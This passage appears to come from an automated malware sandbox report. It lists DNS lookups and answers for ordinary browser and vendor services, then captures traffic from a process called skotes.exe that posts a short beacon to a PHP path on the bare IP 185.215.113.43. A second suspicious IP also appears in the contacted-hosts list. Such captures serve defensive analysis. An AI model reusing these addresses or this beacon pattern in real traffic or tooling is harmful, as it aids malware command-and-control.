Nov 24, 2024 04:23:44.458834887 CET	192.168.2.5	1.1.1.1	0x6a0f	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 24, 2024 04:23:44.641763926 CET	192.168.2.5	1.1.1.1	0x1953	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.693126917 CET	192.168.2.5	1.1.1.1	0xa4af	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.787036896 CET	192.168.2.5	1.1.1.1	0x6e30	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.925868034 CET	192.168.2.5	1.1.1.1	0x4d9a	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 04:23:46.220366001 CET	192.168.2.5	1.1.1.1	0x2ad4	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.359529972 CET	192.168.2.5	1.1.1.1	0xe64f	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 04:23:46.399446011 CET	192.168.2.5	1.1.1.1	0x6fd5	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.426893950 CET	192.168.2.5	1.1.1.1	0x1f19	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.444963932 CET	192.168.2.5	1.1.1.1	0x1ae6	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.454238892 CET	192.168.2.5	1.1.1.1	0x1565	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.534143925 CET	192.168.2.5	1.1.1.1	0xc801	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.539252043 CET	192.168.2.5	1.1.1.1	0x3203	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 04:23:46.680984020 CET	192.168.2.5	1.1.1.1	0x727c	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.820311069 CET	192.168.2.5	1.1.1.1	0x84ea	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 04:23:49.242027998 CET	192.168.2.5	1.1.1.1	0x8333	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:49.704772949 CET	192.168.2.5	1.1.1.1	0x7a96	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:49.850544930 CET	192.168.2.5	1.1.1.1	0x549e	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:49.993163109 CET	192.168.2.5	1.1.1.1	0xca2e	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 04:23:54.009505033 CET	192.168.2.5	1.1.1.1	0xf8d3	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:54.009665966 CET	192.168.2.5	1.1.1.1	0x1db6	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Nov 24, 2024 04:23:55.924086094 CET	192.168.2.5	1.1.1.1	0xf65a	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:56.063541889 CET	192.168.2.5	1.1.1.1	0x7c63	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:56.192848921 CET	192.168.2.5	1.1.1.1	0xa06c	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:56.285263062 CET	192.168.2.5	1.1.1.1	0x1a3	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 04:23:56.331053019 CET	192.168.2.5	1.1.1.1	0xf0bc	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 04:23:56.390711069 CET	192.168.2.5	1.1.1.1	0x64e2	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 04:23:57.068097115 CET	192.168.2.5	1.1.1.1	0x30d8	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:57.243412971 CET	192.168.2.5	1.1.1.1	0xc264	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:57.280174971 CET	192.168.2.5	1.1.1.1	0x17b5	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 04:23:57.387413025 CET	192.168.2.5	1.1.1.1	0x7aea	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:57.527628899 CET	192.168.2.5	1.1.1.1	0x9311	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 04:24:00.197557926 CET	192.168.2.5	1.1.1.1	0x55db	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:24:00.197695971 CET	192.168.2.5	1.1.1.1	0xe769	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 24, 2024 04:24:02.374427080 CET	192.168.2.5	1.1.1.1	0xbb12	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 04:24:04.107546091 CET	192.168.2.5	1.1.1.1	0x362c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:24:04.107634068 CET	192.168.2.5	1.1.1.1	0xe35d	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 04:23:32.587145090 CET	1.1.1.1	192.168.2.5	0x3fd0	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:32.587145090 CET	1.1.1.1	192.168.2.5	0x3fd0	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Nov 24, 2024 04:23:32.587270975 CET	1.1.1.1	192.168.2.5	0x67e7	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:32.587270975 CET	1.1.1.1	192.168.2.5	0x67e7	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:32.587270975 CET	1.1.1.1	192.168.2.5	0x67e7	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:32.587270975 CET	1.1.1.1	192.168.2.5	0x67e7	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:32.587270975 CET	1.1.1.1	192.168.2.5	0x67e7	No error (0)	youtube-ui.l.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:32.587270975 CET	1.1.1.1	192.168.2.5	0x67e7	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:32.587270975 CET	1.1.1.1	192.168.2.5	0x67e7	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:32.587270975 CET	1.1.1.1	192.168.2.5	0x67e7	No error (0)	youtube-ui.l.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:32.587270975 CET	1.1.1.1	192.168.2.5	0x67e7	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:32.587270975 CET	1.1.1.1	192.168.2.5	0x67e7	No error (0)	youtube-ui.l.google.com		172.217.19.14	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:32.587270975 CET	1.1.1.1	192.168.2.5	0x67e7	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:36.001415968 CET	1.1.1.1	192.168.2.5	0xbeb2	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:36.001415968 CET	1.1.1.1	192.168.2.5	0xbeb2	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:36.001415968 CET	1.1.1.1	192.168.2.5	0xbeb2	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:36.001415968 CET	1.1.1.1	192.168.2.5	0xbeb2	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:36.001415968 CET	1.1.1.1	192.168.2.5	0xbeb2	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:36.001415968 CET	1.1.1.1	192.168.2.5	0xbeb2	No error (0)	youtube-ui.l.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:36.001415968 CET	1.1.1.1	192.168.2.5	0xbeb2	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:36.001415968 CET	1.1.1.1	192.168.2.5	0xbeb2	No error (0)	youtube-ui.l.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:36.001415968 CET	1.1.1.1	192.168.2.5	0xbeb2	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:36.001415968 CET	1.1.1.1	192.168.2.5	0xbeb2	No error (0)	youtube-ui.l.google.com		172.217.19.14	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:36.001415968 CET	1.1.1.1	192.168.2.5	0xbeb2	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:36.001513004 CET	1.1.1.1	192.168.2.5	0x10e1	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:36.001513004 CET	1.1.1.1	192.168.2.5	0x10e1	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Nov 24, 2024 04:23:36.263596058 CET	1.1.1.1	192.168.2.5	0x63f6	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:36.278614998 CET	1.1.1.1	192.168.2.5	0x6574	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:36.278614998 CET	1.1.1.1	192.168.2.5	0x6574	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:38.324702024 CET	1.1.1.1	192.168.2.5	0x1a5a	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:38.417788029 CET	1.1.1.1	192.168.2.5	0x70c3	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:40.436682940 CET	1.1.1.1	192.168.2.5	0xd09	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 04:23:40.437175035 CET	1.1.1.1	192.168.2.5	0xa294	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:40.437175035 CET	1.1.1.1	192.168.2.5	0xa294	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:40.438330889 CET	1.1.1.1	192.168.2.5	0xeec0	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 04:23:40.439778090 CET	1.1.1.1	192.168.2.5	0x357d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:40.439778090 CET	1.1.1.1	192.168.2.5	0x357d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:40.446127892 CET	1.1.1.1	192.168.2.5	0x3dc1	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 04:23:40.446542025 CET	1.1.1.1	192.168.2.5	0xafe1	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:40.446542025 CET	1.1.1.1	192.168.2.5	0xafe1	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:41.255794048 CET	1.1.1.1	192.168.2.5	0xfc7f	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:41.255794048 CET	1.1.1.1	192.168.2.5	0xfc7f	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:41.256072044 CET	1.1.1.1	192.168.2.5	0xc2b6	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:42.201512098 CET	1.1.1.1	192.168.2.5	0xb846	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:42.412137032 CET	1.1.1.1	192.168.2.5	0x938d	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.307728052 CET	1.1.1.1	192.168.2.5	0x31c5	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:44.307728052 CET	1.1.1.1	192.168.2.5	0x31c5	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.307728052 CET	1.1.1.1	192.168.2.5	0x31c5	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.307728052 CET	1.1.1.1	192.168.2.5	0x31c5	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.307728052 CET	1.1.1.1	192.168.2.5	0x31c5	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.307728052 CET	1.1.1.1	192.168.2.5	0x31c5	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.307728052 CET	1.1.1.1	192.168.2.5	0x31c5	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.307728052 CET	1.1.1.1	192.168.2.5	0x31c5	No error (0)	youtube-ui.l.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.307728052 CET	1.1.1.1	192.168.2.5	0x31c5	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.307728052 CET	1.1.1.1	192.168.2.5	0x31c5	No error (0)	youtube-ui.l.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.307728052 CET	1.1.1.1	192.168.2.5	0x31c5	No error (0)	youtube-ui.l.google.com		172.217.19.14	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.308799982 CET	1.1.1.1	192.168.2.5	0x7e4f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:44.308799982 CET	1.1.1.1	192.168.2.5	0x7e4f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.455169916 CET	1.1.1.1	192.168.2.5	0x6f54	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.455195904 CET	1.1.1.1	192.168.2.5	0xd73a	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.455195904 CET	1.1.1.1	192.168.2.5	0xd73a	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.455195904 CET	1.1.1.1	192.168.2.5	0xd73a	No error (0)	youtube-ui.l.google.com		172.217.19.14	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.455195904 CET	1.1.1.1	192.168.2.5	0xd73a	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.455195904 CET	1.1.1.1	192.168.2.5	0xd73a	No error (0)	youtube-ui.l.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.455195904 CET	1.1.1.1	192.168.2.5	0xd73a	No error (0)	youtube-ui.l.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.455195904 CET	1.1.1.1	192.168.2.5	0xd73a	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.455195904 CET	1.1.1.1	192.168.2.5	0xd73a	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.455195904 CET	1.1.1.1	192.168.2.5	0xd73a	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.455195904 CET	1.1.1.1	192.168.2.5	0xd73a	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.595700026 CET	1.1.1.1	192.168.2.5	0x6a0f	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 24, 2024 04:23:44.595700026 CET	1.1.1.1	192.168.2.5	0x6a0f	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 24, 2024 04:23:44.595700026 CET	1.1.1.1	192.168.2.5	0x6a0f	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 24, 2024 04:23:44.595700026 CET	1.1.1.1	192.168.2.5	0x6a0f	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 24, 2024 04:23:44.595765114 CET	1.1.1.1	192.168.2.5	0xe3e7	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 24, 2024 04:23:44.778471947 CET	1.1.1.1	192.168.2.5	0x1953	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.830013990 CET	1.1.1.1	192.168.2.5	0xa4af	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:44.830013990 CET	1.1.1.1	192.168.2.5	0xa4af	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.924068928 CET	1.1.1.1	192.168.2.5	0x6e30	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.358762026 CET	1.1.1.1	192.168.2.5	0x2ad4	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.395003080 CET	1.1.1.1	192.168.2.5	0x9f5f	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:46.395003080 CET	1.1.1.1	192.168.2.5	0x9f5f	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.538501024 CET	1.1.1.1	192.168.2.5	0x6fd5	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.563838959 CET	1.1.1.1	192.168.2.5	0x1f19	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.581604958 CET	1.1.1.1	192.168.2.5	0x1ae6	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.581604958 CET	1.1.1.1	192.168.2.5	0x1ae6	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.592466116 CET	1.1.1.1	192.168.2.5	0x1565	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:46.592466116 CET	1.1.1.1	192.168.2.5	0x1565	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.671983004 CET	1.1.1.1	192.168.2.5	0xc801	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:46.671983004 CET	1.1.1.1	192.168.2.5	0xc801	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:46.671983004 CET	1.1.1.1	192.168.2.5	0xc801	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.819345951 CET	1.1.1.1	192.168.2.5	0x727c	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:46.957837105 CET	1.1.1.1	192.168.2.5	0x84ea	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 24, 2024 04:23:49.510477066 CET	1.1.1.1	192.168.2.5	0x8333	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:49.842145920 CET	1.1.1.1	192.168.2.5	0x7a96	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:49.988075972 CET	1.1.1.1	192.168.2.5	0x549e	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:54.146418095 CET	1.1.1.1	192.168.2.5	0xf8d3	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:54.146418095 CET	1.1.1.1	192.168.2.5	0xf8d3	No error (0)	www3.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:54.146953106 CET	1.1.1.1	192.168.2.5	0x1db6	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:56.061793089 CET	1.1.1.1	192.168.2.5	0xf65a	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:56.061793089 CET	1.1.1.1	192.168.2.5	0xf65a	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:56.061793089 CET	1.1.1.1	192.168.2.5	0xf65a	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:56.191679955 CET	1.1.1.1	192.168.2.5	0xe800	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:56.284570932 CET	1.1.1.1	192.168.2.5	0x7c63	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:56.330092907 CET	1.1.1.1	192.168.2.5	0xa06c	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:57.204082012 CET	1.1.1.1	192.168.2.5	0xa4c1	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:57.204082012 CET	1.1.1.1	192.168.2.5	0xa4c1	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:57.279551029 CET	1.1.1.1	192.168.2.5	0x30d8	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:57.380426884 CET	1.1.1.1	192.168.2.5	0xc264	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:23:57.380426884 CET	1.1.1.1	192.168.2.5	0xc264	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:57.526973963 CET	1.1.1.1	192.168.2.5	0x7aea	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:57.795587063 CET	1.1.1.1	192.168.2.5	0xa2df	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:24:00.334606886 CET	1.1.1.1	192.168.2.5	0x55db	No error (0)	play.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:24:04.245033026 CET	1.1.1.1	192.168.2.5	0x362c	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:24:04.246104956 CET	1.1.1.1	192.168.2.5	0xe35d	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

otelrules.azureedge.net

www.youtube.com

api.edgeoffer.microsoft.com

chrome.cloudflare-dns.com

clients2.googleusercontent.com

https:

www.gstatic.com

fonts.gstatic.com

accounts.youtube.com

www.google.com

www.bing.com

msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com

edgeassetservice.azureedge.net

arc.msn.com

185.215.113.43

31.41.244.11

detectportal.firefox.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49812	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:04.323147058 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 04:23:05.653086901 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49820	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
